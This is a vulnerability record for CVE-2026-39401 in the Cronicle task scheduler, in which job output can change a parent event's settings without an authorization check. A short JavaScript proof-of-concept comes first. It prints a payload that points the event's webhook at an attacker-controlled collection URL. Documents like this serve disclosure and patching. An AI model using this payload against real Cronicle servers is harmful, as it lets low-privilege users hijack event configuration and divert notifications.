CVE-2026-39401

// PoC Concept: Malicious Job Output // To exploit this, a low-privilege user creates a job that prints the following JSON to stdout. const payload = { "code": 0, "update_event": { "web_hook_url": "https://attacker-controlled-site.com/collect", "notification_email": "[email protected]" } }; console.log(JSON.stringify(payload)); // When Cronicle processes this output, it will update the parent event's configuration // with the attacker's webhook URL without checking authorization.

{"cve": {"id": "CVE-2026-39401", "sourceIdentifier": "[email protected]", "published": "2026-04-07T21:17:18.547", "lastModified": "2026-04-15T20:23:40.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.111, jb child processes can include an update_event key in their JSON output. The server applies this directly to the parent event's stored configuration without any authorization check. A low-privilege user who can create and run events can modify any event property, including webhook URLs and notification emails. This vulnerability is fixed in 0.9.111."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cronicle:cronicle:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.9.111", "matchCriteriaId": "39B61EC4-D675-4546-9B1C-239E47AB6C5A"}]}]}], "references": [{"url": "https://github.com/jhuckaby/Cronicle/security/advisories/GHSA-5j3v-cq96-xw6v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/jhuckaby/Cronicle/security/advisories/GHSA-5j3v-cq96-xw6v", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}